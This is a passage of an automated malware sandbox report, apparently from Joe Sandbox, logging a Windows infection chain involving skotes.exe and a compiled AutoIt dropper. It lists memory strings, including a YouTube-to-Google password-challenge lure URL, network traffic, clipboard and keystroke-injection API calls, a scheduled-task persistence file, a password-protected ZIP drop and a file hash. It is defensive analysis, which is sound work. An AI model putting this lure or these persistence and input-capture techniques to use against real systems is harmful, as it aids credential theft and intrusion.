Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: firefox.exe, 0000001C.00000003.3185586082.000001F34A878000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3169973945.000001F34A82D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3176989775.000001F34A84F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3169973945.000001F34A840000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001D.00000002.3250484093.0000021EDA4C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3248690664.0000011C76EC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001F.00000002.3248690664.0000011C76EC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/pj
Source: firefox.exe, 0000001D.00000002.3250484093.0000021EDA4C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3248690664.0000011C76EEA000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.28.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: firefox.exe, 0000001F.00000002.3248690664.0000011C76E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001F.00000002.3251303288.0000011C76FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://ac
Source: firefox.exe, 0000001D.00000002.3248657912.0000021EDA160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://acFG
Source: d71513cd6d.exe, 00000020.00000003.3378695188.00000000012F1000.00000004.00000020.00020000.00000000.sdmp, d71513cd6d.exe, 00000020.00000003.3409849767.00000000012F1000.00000004.00000020.00020000.00000000.sdmp, d71513cd6d.exe, 00000020.00000003.3409325995.0000000001197000.00000004.00000020.00020000.00000000.sdmp, d71513cd6d.exe, 00000020.00000003.3409944873.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, d71513cd6d.exe, 00000020.00000003.3410075720.0000000001494000.00000004.00000020.00020000.00000000.sdmp, d71513cd6d.exe, 00000020.00000003.3409092673.00000000012F1000.00000004.00000020.00020000.00000000.sdmp, d71513cd6d.exe, 00000020.00000003.3408752782.00000000012F1000.00000004.00000020.00020000.00000000.sdmp, d71513cd6d.exe, 00000034.00000002.3458681685.000000000120A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001A.00000002.3013201796.0000025B164FF000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3019110807.000001C4B10CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: d71513cd6d.exe, 00000020.00000003.3377771228.00000000012F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd;C:
Source: firefox.exe, 0000001D.00000002.3248657912.0000021EDA164000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3248313597.0000021EDA030000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251303288.0000011C76FE4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3248108808.0000011C76C90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001F.00000002.3248108808.0000011C76C90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwde
Source: firefox.exe, 0000001F.00000002.3248108808.0000011C76C9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdq

Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052

Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50049 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_005FEAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

15_2_005FEAFF

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_005FED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

15_2_005FED6A

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

15_2_005FEAFF

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_005EAA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

15_2_005EAA57

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_00619576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

15_2_00619576

System Summary

Binary is likely a compiled AutoIt script file

Source: d71513cd6d.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: d71513cd6d.exe, 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_d606c60e-5
Source: d71513cd6d.exe, 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_7f301ace-c
Source: d71513cd6d.exe, 00000020.00000000.3079496036.0000000000642000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_d17a5c1e-5
Source: d71513cd6d.exe, 00000020.00000000.3079496036.0000000000642000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_521dd509-c
Source: d71513cd6d.exe, 00000034.00000002.3455680494.0000000000642000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_8c31013a-d
Source: d71513cd6d.exe, 00000034.00000002.3455680494.0000000000642000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_e0575fba-c

Drops password protected ZIP file

Source: file.bin.37.dr

Zip Entry: encrypted

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.13.dr	Static PE information: section name:
Source: random[1].exe.13.dr	Static PE information: section name: .idata
Source: random[1].exe.13.dr	Static PE information: section name:
Source: cfeb78330e.exe.13.dr	Static PE information: section name:
Source: cfeb78330e.exe.13.dr	Static PE information: section name: .idata
Source: cfeb78330e.exe.13.dr	Static PE information: section name:
Source: random[1].exe1.13.dr	Static PE information: section name:
Source: random[1].exe1.13.dr	Static PE information: section name: .idata
Source: random[1].exe1.13.dr	Static PE information: section name:
Source: 1c49dbdc29.exe.13.dr	Static PE information: section name:
Source: 1c49dbdc29.exe.13.dr	Static PE information: section name: .idata
Source: 1c49dbdc29.exe.13.dr	Static PE information: section name:
Source: random[1].exe2.13.dr	Static PE information: section name:
Source: random[1].exe2.13.dr	Static PE information: section name: .idata
Source: 93ee6c8e33.exe.13.dr	Static PE information: section name:
Source: 93ee6c8e33.exe.13.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 13_2_0060CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

13_2_0060CB97

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_005ED5EB: CreateFileW,DeviceIoControl,CloseHandle,

15_2_005ED5EB

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_005E1201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

15_2_005E1201

Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe

Code function: 15_2_005EE8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

15_2_005EE8F6

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00395C83	0_2_00395C83
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0039735A	0_2_0039735A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003D8860	0_2_003D8860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00394DE0	0_2_00394DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00394B30	0_2_00394B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004A7B6E	0_2_004A7B6E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00638860	3_2_00638860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00637049	3_2_00637049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006378BB	3_2_006378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006331A8	3_2_006331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_005F4B30	3_2_005F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00632D10	3_2_00632D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_005F4DE0	3_2_005F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00627F36	3_2_00627F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0063779B	3_2_0063779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00638860	4_2_00638860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00637049	4_2_00637049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_006378BB	4_2_006378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_006331A8	4_2_006331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_005F4B30	4_2_005F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00632D10	4_2_00632D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_005F4DE0	4_2_005F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_00627F36	4_2_00627F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_0063779B	4_2_0063779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_005FE530	13_2_005FE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_00616192	13_2_00616192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_00638860	13_2_00638860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_005F4B30	13_2_005F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_00632D10	13_2_00632D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_005F4DE0	13_2_005F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_00610E13	13_2_00610E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_00637049	13_2_00637049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_006331A8	13_2_006331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_00620BC7	13_2_00620BC7
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_00611602	13_2_00611602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_0063779B	13_2_0063779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_006378BB	13_2_006378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_00613DF1	13_2_00613DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 13_2_00627F36	13_2_00627F36
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_0058BF40	15_2_0058BF40
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005F2046	15_2_005F2046
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_00588060	15_2_00588060
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005E8298	15_2_005E8298
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005BE4FF	15_2_005BE4FF
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005B676B	15_2_005B676B
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_00614873	15_2_00614873
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_0058CAF0	15_2_0058CAF0
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005ACAA0	15_2_005ACAA0
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_0059CC39	15_2_0059CC39
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005B6DD9	15_2_005B6DD9
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_0059B119	15_2_0059B119
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005891C0	15_2_005891C0
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005A1394	15_2_005A1394
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005A781B	15_2_005A781B
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_0059997D	15_2_0059997D
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_00587920	15_2_00587920
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005A7A4A	15_2_005A7A4A
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005A7CA7	15_2_005A7CA7
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_0060BE44	15_2_0060BE44
Source: C:\Users\user\AppData\Local\Temp\1014519001\d71513cd6d.exe	Code function: 15_2_005B9EEE	15_2_005B9EEE

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe DA96F2EB74E60DE791961EF3800C36A5E12202FE97AE5D2FCFC1FE404BC13C0D
